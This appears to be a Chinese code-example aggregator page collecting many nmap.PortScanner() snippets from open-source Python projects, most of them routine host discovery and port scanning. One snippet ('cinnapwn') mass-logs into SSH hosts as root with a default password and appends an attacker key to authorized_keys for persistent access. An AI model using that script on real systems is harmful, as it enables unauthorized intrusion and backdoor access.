Python nmap 模块,PortScanner() 实例源码

我们从Python开源项目中,提取了以下43个代码示例,用于说明如何使用nmap.PortScanner()

项目:substack    作者:everping    | 项目源码 | 文件源码
def real_scan(self, domain):
        try:
            open_ports = []
            nm = nmap.PortScanner()
            results = nm.scan(domain.ip)
            hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
            for host, status in hosts_list:
                if status == "up":
                    protocols = nm[host].all_protocols()
                    for protocol in protocols:
                        ports = nm[host][protocol]
                        for port in ports:
                            if ports[port]['state'] == 'open':
                                open_ports.append(port)
            return open_ports
        except:
            return []
项目:kickthemout    作者:k4m4    | 项目源码 | 文件源码
def scanNetwork(network):
    # Function for performing a network scan with nmap with the help of the python-nmap module
    returnlist = []
    import nmap
    nm = nmap.PortScanner()
    a = nm.scan(hosts=network, arguments='-sP')

    for k, v in a['scan'].iteritems():
        if str(v['status']['state']) == 'up':
            try:
                returnlist.append([str(v['addresses']['ipv4']), str(v['addresses']['mac'])])
            except:
                pass

    # returnlist = hostsList array
    return returnlist
项目:cinnapwn    作者:nnamon    | 项目源码 | 文件源码
def main():
    # key
    key = file("../keys/noma.pub").read()

    # Get IP addresses to test
    n = nmap.PortScanner()
    res = n.scan("172.16.0-10.*", "22")
    op = []
    for i in res["scan"]:
        if res["scan"][i]["tcp"][22]["state"] == "open":
            op.append(i)

    # Test if the password is default
    for i in op:
        try:
            conn = ssh(user="root", host=i, password="password")

            # Upload
            conn.shell("mkdir /root/.ssh;touch /root/.ssh/authorized_keys;grep amon /root/.ssh/authorized_keys || (echo %s | base64 -d) >> /root/.ssh/authorized_keys" % key.encode("base64").replace("\n", ""))

            log.success("%s succeeded" % i)
        except:
            log.info("%s failed" % i)
项目:WMIControl    作者:crutchcorn    | 项目源码 | 文件源码
def getComputers(search=getDeviceNetwork()[2], args='-sS -p 22 -n -T5'):
    """Given string search and string args: Return list of hosts on network
    'args' being nmap arguments to be passed to nmap for optimized searching on networks

    'search' defaults to current network subnet
    'args' defaults to '-sS -p 22 -n -T5'
    To break down these NMAP arguments:
        -sS  : TCP SYN scan. A fast unobtrusive stealthy scan that shouldn't raise any flags while remaining quick
        -p 22: Only scan port 22. This should speed things up while remaining fairly reliable
        -n   : No DNS resolution. Since we don't need the host names, we can go ahead and skip that
        -T5  : Insane timing template. This is the most unreliable, but also the quickest. If you have issues with
               assets being found, I'd suggest to start change with this option.
    """
    nm = nmap.PortScanner()
    scanInfo = nm.scan(hosts=search, arguments=args)  # Remove -n to get DNS NetBIOS results
    IPs = nm.all_hosts()  # Gives me an host of hosts
    return IPs, scanInfo
项目:AnyScan    作者:zhangzhenfeng    | 项目源码 | 文件源码
def portscanner(target_host,target_port,arguments="-T4 -A -v -Pn"):
    """
    :param target_host:
    :param target_port:
    :return:
    -sS ??SYN??????????????????????(?????,?????)
    -T4 -T(0-5) ???3 4 ?Aggressive?????5?????????????????????5????????????????????1.5??
    -A ?????????????????
    """
    current_path = "%s/nmap_file/" % (os.getcwd())
    if os.path.exists(current_path) == False:
        os.mkdir("nmap_file")
    arguments = arguments + " -oN %s%s" % (current_path,target_host)
    if target_port == "" or target_port is None:
        target_port = "1-65535"
    scanner = nmap.PortScanner()
    results = scanner.scan(hosts=target_host,ports=target_port,arguments=arguments,sudo=False)
    # ???????????
    return current_path+target_host,results
项目:my-tools    作者:fiht    | 项目源码 | 文件源码
def get_ip_by_netmask(ip, port, netmask):
        """return {ip:product}, which port is open from ip's netmask"""
        print('Scaning')
        return_value = {}
        nm = nmap.PortScanner()
        nm.scan(hosts='%s/%s' % (ip, netmask), ports=port, arguments='')
        print(nm.command_line())
        hosts_list = [(x, nm[x]['tcp'][int(port)]['product']) for x in nm.all_hosts()]
        print("Len of hosts_list: %s" % len(hosts_list))
        for i in hosts_list:
            if 1:
                return_value[i[0]] = i[1]
            else:
                print("I pass")
        return return_value

    # ----------------------------------------------------------------------
项目:probesc    作者:bstaint    | 项目源码 | 文件源码
def output(target):
    '''
    name: Nmap Ports Scaner
    depends: cdn
    priority: 7
    version: 0.1
    '''
    if getattr(target, 'cdn', True): return

    nm = nmap.PortScanner()
    # nm.scan(target.ip, ','.join(map(str, ports)), arguments='-T4 -A')
    nm.scan(target.ip, ','.join(map(str, ports)))

    if 'tcp' not in nm[target.ip]: return

    target.ports = []
    # target.os = nm[target.ip]['osmatch'][0]['name']

    for key,val in nm[target.ip]['tcp'].items():
        target.ports.append(key)

    target.ports.sort()
    # cprint('OS: %s' % target.os, '+')
    cprint('Ports: %s' % ', '.join(map(str, target.ports)), '+')
项目:bayip    作者:recall704    | 项目源码 | 文件源码
def get(self):
        nm = nmap.PortScanner()
        all_ip = nm.scan(hosts=hosts, arguments='-sL')
        all_scan = all_ip.get("scan", {})
        all_ip_list = all_scan.keys()

        online = nm.scan(hosts=hosts, arguments="-sP")
        online_scan = online.get("scan", {})
        online_ip_list = online_scan.keys()

        offline_ip_list =  list(set(all_ip_list).difference(set(online_ip_list)))

        d = {
            "code": "200",
            "response": offline_ip_list,
            "success": True,
        }
        self.write(d)
项目:xunfengES    作者:superhuahua    | 项目源码 | 文件源码
def hostScan(host, ports, arguments, queue):
    """
    host - ????: 127.0.0.1
    ports - ????: 21,22,135,137,445,3389
    arguments - ????: -Pn -sV
    """
    try:
        nm = nmap.PortScanner()
        nm.scan(hosts=host, ports=ports, arguments=arguments)

        if "tcp" in nm[host].all_protocols():
            for port in nm[host]["tcp"].keys():
                if nm[host]["tcp"][port]["state"] == "open":
                    #nm[host]["tcp"][port]["extrainfo"] match codes
                    pattern = re.compile('(php)|(aspx?)|(jsp)|(python)', re.I)
                    match = pattern.search(nm[host]["tcp"][port]["extrainfo"])
                    if match:
                        codes = match.group().lower()
                    else:
                        codes = ""
                    result = {
                        "id": get_id_md5(host, port),
                        "tags": "hostScan",
                        "host": host,
                        "port": port,
                        "product": nm[host]["tcp"][port]["product"],
                        "state": nm[host]["tcp"][port]["state"],
                        "version": nm[host]["tcp"][port]["version"],
                        "server": nm[host]["tcp"][port]["name"],
                        "codes": codes,
                        "extrainfo": nm[host]["tcp"][port]["extrainfo"],
                        "reason": nm[host]["tcp"][port]["reason"],
                        "cpe": nm[host]["tcp"][port]["cpe"],
                        "queue": queue
                    }
                    getPoolBR().lpush(RedisConfig.HOSTSCANKEY, json.dumps(result))
    except Exception as e:
        pass
项目:python_shell    作者:tluolovembtan    | 项目源码 | 文件源码
def nmapScan(target_host, target_port):
    target_port = str(target_port)
    nm = nmap.PortScanner()
    nm.scan(str(target_host), str(target_port))

    port = target_port
    name = nm[target_host]['tcp'][int(target_port)]['name']
    state = nm[target_host]['tcp'][int(target_port)]['state']
    product = nm[target_host]['tcp'][int(target_port)]['product']
    extrainfo = nm[target_host]['tcp'][int(target_port)]['extrainfo']
    reason = nm[target_host]['tcp'][int(target_port)]['reason']
    version = nm[target_host]['tcp'][int(target_port)]['version']
    conf = nm[target_host]['tcp'][int(target_port)]['conf']

    if state == "open":
        print "[*] " + target_host + " tcp/" + port + " state:" + state + " name:" + name + " product:" + product + " extrainfo:" + extrainfo + " reason:" + reason + " version:" + version + " conf:" + conf
    else:
        print "[-] " + target_host + " tcp/" + port + " state:" + state + " name:" + name + " product:" + product + " extrainfo:" + extrainfo + " reason:" + reason + " version:" + version + " conf:" + conf
项目:Python-Programs    作者:OmkarPathak    | 项目源码 | 文件源码
def scan_network():
    scanner = nmap.PortScanner()
    myIP = subprocess.check_output(['hostname -I'], shell=True)
    myIP = str(myIP, 'utf-8').split('.')
    print(myIP[:3])
    scannedData = scanner.scan(hosts = '.'.join(myIP[:3]) + '.1/24', arguments = '-sP')

    # printing all the IP addresses of connected devices
    for hostnames in scannedData['scan']:
        print(hostnames)
项目:camisade    作者:tomride    | 项目源码 | 文件源码
def scan(target):
    obj =  nmap.PortScanner()
    obj.scan(hosts=target,arguments='-sT')

    for host in obj.all_hosts():
        print '\nHost: ' , host
        print "----------------------------"
        for proto in obj[host].all_protocols():
            lport = obj[host][proto].keys()
            lport.sort()
            for port in lport:
                ban = bannerread(host,port)
                print ('Open Port: %s  \t %s' % (port, ban))
项目:camisade    作者:tomride    | 项目源码 | 文件源码
def detect(target):
    list1=[]
    scn = nmap.PortScanner()
    scn.scan(hosts=target,arguments='-sP')
    if not scn.all_hosts():
        print("Down")
    for host in scn.all_hosts():
        print 'Live: ', host

    return(list1)
项目:Python-Network-Programming-Cookbook-Second-Edition    作者:PacktPublishing    | 项目源码 | 文件源码
def get_interface_status(ifname):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ip_address = socket.inet_ntoa(fcntl.ioctl(
        sock.fileno(),
        0x8915, #SIOCGIFADDR, C socket library sockios.h
        struct.pack(b'256s', bytes(ifname[:15], 'utf-8'))
    )[20:24])
    nm = nmap.PortScanner()         
    nm.scan(ip_address, SAMPLE_PORTS)      
    return nm[ip_address].state()
项目:Python-Penetration-Testing-for-Developers    作者:PacktPublishing    | 项目源码 | 文件源码
def target_identifier(dir,user,passwd,ips,port_num,ifaces):
    bufsize = 0
    ssh_hosts = "%s/ssh_hosts" % (dir)
    scanner = nmap.PortScanner()
    scanner.scan(ips, port_num)
    open(ssh_hosts, 'w').close()
    if scanner.all_hosts():
        e = open(ssh_hosts, 'a', bufsize)
    else:
        sys.exit("[!] No viable targets were found!")
    for host in scanner.all_hosts():
        for k,v in ifaces.iteritems():
            if v['addr'] == host:
                print("[-] Removing %s from target list since it belongs to your interface!") % (host)
                host = None
        if host != None:
            home_dir="/root"
            ssh_hosts = "%s/ssh_hosts" % (home_dir)
            bufsize=0
            e = open(ssh_hosts, 'a', bufsize)
            if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']:
                if 'open' in scanner[host]['tcp'][int(port_num)]['state']:
                    print("[+] Adding host %s to %s since the service is active on %s") % (host,ssh_hosts,port_num)
                    hostdata=host + "\n"
                    e.write(hostdata)
    if not scanner.all_hosts():
        e.closed
    if ssh_hosts:
        return ssh_hosts
项目:CIDDS    作者:markusring    | 项目源码 | 文件源码
def main():

    echoC(__name__, "Starting a scan")

    # Determine subnets 
    ipRangeList = getIPRange()
    if ipRangeList == -1:
        return -1

    # Select a random subnet 
    rand = random.randint(0, len(ipRangeList)-1) 
    ipRange = ipRangeList[rand]

    # Define arguments 
    scanOptions = ["-sF", "-sA", "-sU", "-sS", "-n -sP -PE"]
    myArguments = random.choice(scanOptions) + " -T " + str(random.randint(1, 3))

    echoC(__name__, "Scanning " + str(ipRange) + " with arguments: " + myArguments)

    # Execute Scan 
    nm = nmap.PortScanner()
    nm.scan(hosts=ipRangeList[rand], arguments=myArguments)

    # Store the found IPs 
    # At first, delete old IPs 
    open(ipList, 'w').close()
    for i in nm.all_hosts():
        with open(ipList, 'a') as myfile:
            myfile.write(str(i) + '\n')

    echoC(__name__, "Done")

    returnval = "0,nmap args: " + myArguments
    return returnval
项目:isf    作者:w3h    | 项目源码 | 文件源码
def setup_module():
    global nm
    nm = nmap.PortScanner()
项目:nmap-python-scanner    作者:himadriganguly    | 项目源码 | 文件源码
def nmapScan(tgtHost, lock, tgtPort=''):
    with lock:
        nmapScan = nmap.PortScanner()
        if tgtPort:
            nmapScan.scan(tgtHost, tgtPort, arguments='-O')
            state = nmapScan[tgtHost]['tcp'][int(tgtPort)]['state']
            print('[+] {0} tcp/{1} {2}'.format(tgtHost, tgtPort, state))
        else:
            print(nmapScan.csv())
            for proto in nmapScan[tgtHost].all_protocols():
                lport = nmapScan[tgtHost][proto].keys()
                for port in lport:
                    state = nmapScan[tgtHost][proto][int(port)]['state']
                    print('[+] {0} {1}/{2} {3}'.format(tgtHost, proto, port, state))
项目:pina-colada    作者:ecthros    | 项目源码 | 文件源码
def launch(self):
        scanner = nmap.PortScanner()
        results = scanner.scan(self.get_value("host"), self.get_value("ports"))
        pp = pprint.PrettyPrinter(indent=4)
        pp.pprint(results["nmap"])
        pp.pprint(results["scan"])
项目:rexploit    作者:DaniLabs    | 项目源码 | 文件源码
def run(self):
        try:
            from nmap import __version__
        except ImportError:
            from nmap import __version__
            self.__communicate.finishScan.emit([])
            return

        from nmap import PortScanner
        self.__targets = []
        nm = PortScanner()
        host = self.__host
        arguments = self.__arguments
        nm.scan(host, arguments=arguments)

        for host in nm.all_hosts():
            for proto in nm[host].all_protocols():
                ports = list(nm[host][proto].keys())
                ports.sort()
                for port in ports:
                    target = Target(protocol=proto,
                                    port=port,
                                    name=nm[host][proto][port]['name'],
                                    state=nm[host][proto][port]['state'],
                                    product=nm[host][proto][port]['product'],
                                    info=nm[host][proto][port]['extrainfo'],
                                    version=nm[host][proto][port]['version'])

                    self.__targets.append(target)

        self.__communicate.finishScan.emit(self.__targets)
项目:moescan    作者:RicterZ    | 项目源码 | 文件源码
def exploit(self):
        n = nmap.PortScanner()
        print('Scan {} ports: {}'.format(self.target, self.port))
        arg = self.extra_arg.get('arg') if not self.extra_arg.get('arg') is None else '-sV -Pn'
        result = n.scan(hosts=self.target, ports=self.port, arguments=arg)
        print(result)
        # TODO: qwq
项目:cdc-ui    作者:CDC-UI    | 项目源码 | 文件源码
def find_tgts(subnet):
    nm_scan = nmap.PortScanner()
    nm_scan.scan(subnet, '445')
    tgt_hosts = []
    for host in nm_scan.all_hosts():
        if nm_scan[host].has_tcp(445):
            state = nm_scan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgt_hosts.append(host)
    return tgt_hosts
项目:oscp    作者:sealmindset    | 项目源码 | 文件源码
def createList(ipadr):
   nm = nmap.PortScanner()
   args = "-sP -PS -n -oG %s " % (reconf.opth)
   nm.scan(ipadr,arguments=args)
   fo = open(reconf.olst,"w")
   with open(reconf.opth) as input:
        for line in input:
                line = line.split(" ")
                if re.match('[a-zA-Z]',line[1]) is None:
                        fo.write("%s\n" % (line[1]))
   fo.close()
项目:Full-Footprinting-with-Python    作者:ahmetgurel    | 项目源码 | 文件源码
def __init__(self):
        self.cmd_arg = "-n -Pn -sS -sV -T4 --top-ports 10"
        self.nmap_services_file = "/usr/share/nmap/nmap-services"
        self.nm = nmap.PortScanner()
项目:apt2    作者:Exploit-install    | 项目源码 | 文件源码
def __init__(self, config, display):
        self.config = config
        self.display = display
        if not config:
            self.config = {}
        self.outfile = ""
        self.nm = nmap.PortScanner()
项目:apt2    作者:wi-fi-analyzer    | 项目源码 | 文件源码
def __init__(self, config, display):
        self.config = config
        self.display = display
        if not config:
            self.config = {}
        self.outfile = ""
        self.nm = nmap.PortScanner()
项目:ssh-password-cracker    作者:himadriganguly    | 项目源码 | 文件源码
def nmapScan(tgtHost):
    nmapScan = nmap.PortScanner()
    nmapScan.scan(tgtHost, '22')
    state = nmapScan[tgtHost]['tcp'][22]['state']
    return state
项目:bayip    作者:recall704    | 项目源码 | 文件源码
def setup_module():
    global nm
    nm = nmap.PortScanner()
项目:bayip    作者:recall704    | 项目源码 | 文件源码
def setup_module():
    global nm
    nm = nmap.PortScanner()
项目:bayip    作者:recall704    | 项目源码 | 文件源码
def get(self):
        nm = nmap.PortScanner()
        result = nm.scan(hosts=hosts, arguments="-sP")
        scan = result.get("scan", {})
        ip_list = scan.keys()
        d = {
            "code": "200",
            "response": ip_list,
            "success": True,
        }
        self.write(d)
项目:Concierge    作者:lixmk    | 项目源码 | 文件源码
def scan():
    print "[*] Starting Scan"
    nm = nmap.PortScanner()
    if dns is not None:
        print "[*] Performing DNS lookups using DNS server: "+dns
        nm.scan(hosts=rhosts, arguments=('-sL -R --dns-server '+dns))
    else:
        print "[*] Performing DNS lookups using System DNS"
        nm.scan(hosts=rhosts, arguments='-sL -R')
    for host in nm.all_hosts():
        results.append(nm[host].hostname().lower()+","+host)
    print "[*] Scan Complete"
项目:pyAssetContext    作者:ShadeySecurity    | 项目源码 | 文件源码
def scan(self, hosts, options):
        import nmap

        self.nm = nmap.PortScanner()
        if len(options) < 2:
            options = '--script nbstat.nse -O -Pn -sV -T3'
        self.nm.scan(hosts, arguments=options)
    #----------------------------#
    # Name: out_csv
    # Desc: Returns nmap results in csv string
    # Input: None
    # Output: Csv string containing all scan data
    #----------------------------#
项目:pyViolent    作者:marmot19    | 项目源码 | 文件源码
def nmapScan(tgtHost, tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print ('[*] ' + tgtHost + " tcp/" + tgtPort + " " + state)
项目:PyQYT    作者:collinsctk    | 项目源码 | 文件源码
def nmap_ping_scan(network_prefix):
    nm = nmap.PortScanner()
    ping_scan_raw_result = nm.scan(hosts=network_prefix, arguments='-v -n -sn')

    host_list = []
    for IP in ping_scan_raw_result['scan']:
        if ping_scan_raw_result['scan'][IP]['status']['state'] == 'up':
            host_list.append(ping_scan_raw_result['scan'][IP]['addresses']['ipv4'])
            #print( '%-20s %5s' % (ping_scan_raw_result['scan'][IP]['addresses']['ipv4'],'is UP'))
    return host_list
项目:PyQYT    作者:collinsctk    | 项目源码 | 文件源码
def nmap_A_scan(network_prefix):
    nm = nmap.PortScanner()
    scan_raw_result = nm.scan(hosts=network_prefix, arguments='-v -n -A')
    os_dict = {}
    for host in scan_raw_result['scan']:
        if scan_raw_result['scan'][host]['status']['state'] == 'up':
            for os in scan_raw_result['scan'][host]['osmatch']:
                os_dict[scan_raw_result['scan'][host]['addresses']['ipv4']] = re.split(',|or', os['name'])

    for x,y in os_dict.items():
        y = [i.strip() for i in y]
        newy = []
        for z in y:
            if z != '':
                newy.append(z)
        os_dict[x] = newy

    return os_dict
项目:my_code    作者:seeicb    | 项目源码 | 文件源码
def nm_scan(ip):
    nm = nmap.PortScanner()
    nm.scan(ip, '0-65535')
    for host in nm.all_hosts():
        print('----------------------------------------------------')
        print('Host : %s (%s)' % (host, nm[host].hostname()), 'State : %s' % nm[host].state())
        for proto in nm[host].all_protocols():
            lport = sorted(nm[host][proto].keys())
            for port in lport:
                print('port : %s\tservice : %s' % (port, nm[host][proto][port]['product']))
项目:faze    作者:KhasMek    | 项目源码 | 文件源码
def __init__(self):
        self.parseconfig = ParseConfig()
        self.nm = nmap.PortScanner()
        self.up_targets_dict = self.parseconfig.up_targets_dict
项目:011_python_network_programming_cookbook_demo    作者:jerry-0824    | 项目源码 | 文件源码
def get_interface_status(ifname):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ip_address = socket.inet_ntoa(fcntl.ioctl(
        sock.fileno(),
        0x8915, #SIOCGIFADDR, C socket library sockios.h
        struct.pack('256s', ifname[:15])
    )[20:24])
    nm = nmap.PortScanner()
    nm.scan(ip_address, SAMPLE_PORTS)
    return nm[ip_address].state()
项目:SiteScan    作者:jasonsheh    | 项目源码 | 文件源码
def __init__(self, domains, id=''):
        self.domains = domains
        self.ips = []
        self.id = id
        self.nm = nmap.PortScanner()
项目:nWatch    作者:rootlabs    | 项目源码 | 文件源码
def postAS(hostslist):
    hosts = [host for host, x in hostslist.items()]
    macs = [mac for x, mac in hostslist.items()]
    try:
        nm = nmap.PortScanner()         
    except Exception, ex:
        try:
            print "["+Fore.RED+"-"+Style.RESET_ALL+"] Exception('%s') occured\n\t%s-> Errno : %d\n\t-> Error : %s"%(type(ex).__name__,Style.DIM,ex.args[0],ex.args[1])
        except:
            print "["+Fore.RED+"-"+Style.RESET_ALL+"] %s"%(str(ex))
        sys.exit(0)
    try:
        FiFlag, isDHCP = False, False
        isDHCPlst = []
        try: 
            isDHCPlst=DHCPDiscover()
        except:
            pass
        for host, mac in hostslist.items():
            if host in isDHCPlst:
                isDHCP = True
            else:
                isDHCP = False

            nm.scan(str(host), arguments="-O")
            FiFlag = prettyPrint(host,mac, nm, isDHCP)

            if not(FiFlag):
                print "["+Fore.YELLOW+"*"+Style.RESET_ALL+"] Warning : couldn't detect to OS"

    except Exception, ex:
        print "["+Fore.RED+"-"+Style.RESET_ALL+"] Error in OS fingerprinting, continuing..."
项目:INSALATA    作者:tumi8    | 项目源码 | 文件源码
def waitForBoot(logger, host):
    """
    Wait for a host to be booted in a sense that ssh is ready (using nmap)

    :param logger: A logger used for logging possible errors.
    :type logger: seealso:: :class:`logging:Logger`

    :param host: Host-instance to wait for.
    :type host: Host
    """
    #find the correct name
    name = host.getID() if host.getNameApplied() else host.getTemplate().getID()

    #wait for the machine to be ssh-ready
    nm = nmap.PortScanner()

    logger.info("Boot VM {0}, waiting for SSH".format(name))

    isOffline = sshClosed = True 
    while isOffline or sshClosed:
        time.sleep(2)
        #scanres = nm.scan(name , '22', '')
        try:
            remoteServerIP = socket.gethostbyname(name)
        except Exception as e:
            logger.debug("Unable to resolve hostname '{}'".format(name))
            continue

        isOffline = False

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = sock.connect_ex((remoteServerIP, 22))
        sock.close()
        if not result == 0: 
            continue
        else:
            sshClosed = False

    logger.info("Host '{0}' is reachable via SSH.".format(name))

        #scanres = {}
        #logger.info("SCANRES: " + scanres)
        #isOffline = scanres['nmap']['scanstats']['uphosts'] == '0'
        #if len(list(scanres['scan'].keys())) > 0:
        #    sshClosed = scanres['scan'][list(scanres['scan'].keys())[0]]['tcp'][22]['state'] == 'closed'
        #else:
        #    logger.info("VM {0} not up yet, keep waiting.".format(name))

#Clean shutdown of the vm
项目:subdomain_finder    作者:anarcoder    | 项目源码 | 文件源码
def scan(self):
        try:
           nm = nmap.PortScanner()         # instantiate nmap.PortScanner object
        except nmap.PortScannerError:
            print('SCAN: Nmap not found', sys.exc_info()[0])
            sys.exit(0)
        except:
            print("SCAN: Unexpected error:", sys.exc_info()[0])
            sys.exit(0)

        scan_dict = nm.scan(self.target, ports=self.port, arguments=self.options)
        print("##############################")
        print("REPORT SCAN: ")
        print("    IP: "+self.target)

        # List other sub domains of target
        print("    OTHER SUB DOMAINS:")
        for domain, ip in self.dict_domains.items():
            if ip == self.target:
                print("           "+domain)

        # OS details
        try:
                for osmatch in nm[self.target]['osmatch']:
                    print('     OS:{0} - {1}%'.format(osmatch['name'], osmatch['accuracy']))
                    print('           OsClass: {0}|{1}|{2}|{3}|{4}|{5}%'.format(
                                                           osmatch['osclass'][0]['type'],
                                                           osmatch['osclass'][0]['vendor'],
                                                           osmatch['osclass'][0]['osfamily'],
                                                           osmatch['osclass'][0]['osgen'],
                                                           osmatch['osclass'][0]['osgen'])
                         )


        except:
            pass

        # TODO: port details, services, etc...
        try:
            for proto in nm[self.target].all_protocols():
                print('        -----PORTS-----')
                print('        Protocol : %s' % proto)

                lport = list(nm[self.target][proto].keys())
                lport.sort()
                for port in lport:
                    print('        PORT : %s\tSTATE : %s' % (port, nm[self.target][proto][port]['state']))

        except:
            pass
项目:homeassistant    作者:NAStools    | 项目源码 | 文件源码
def _update_info(self):
        """Scan the network for devices.

        Returns boolean if scanning successful.
        """
        _LOGGER.info("Scanning...")

        from nmap import PortScanner, PortScannerError
        scanner = PortScanner()

        options = '-F --host-timeout 5s '

        if self.home_interval:
            boundary = dt_util.now() - self.home_interval
            last_results = [device for device in self.last_results
                            if device.last_update > boundary]
            if last_results:
                exclude_hosts = self.exclude + [device.ip for device
                                                in last_results]
            else:
                exclude_hosts = self.exclude
        else:
            last_results = []
            exclude_hosts = self.exclude
        if exclude_hosts:
            options += ' --exclude {}'.format(','.join(exclude_hosts))

        try:
            result = scanner.scan(hosts=' '.join(self.hosts),
                                  arguments=options)
        except PortScannerError:
            return False

        now = dt_util.now()
        for ipv4, info in result['scan'].items():
            if info['status']['state'] != 'up':
                continue
            name = info['hostnames'][0]['name'] if info['hostnames'] else ipv4
            # Mac address only returned if nmap ran as root
            mac = info['addresses'].get('mac') or _arp(ipv4)
            if mac is None:
                continue
            last_results.append(Device(mac.upper(), name, ipv4, now))

        self.last_results = last_results

        _LOGGER.info("nmap scan successful")
        return True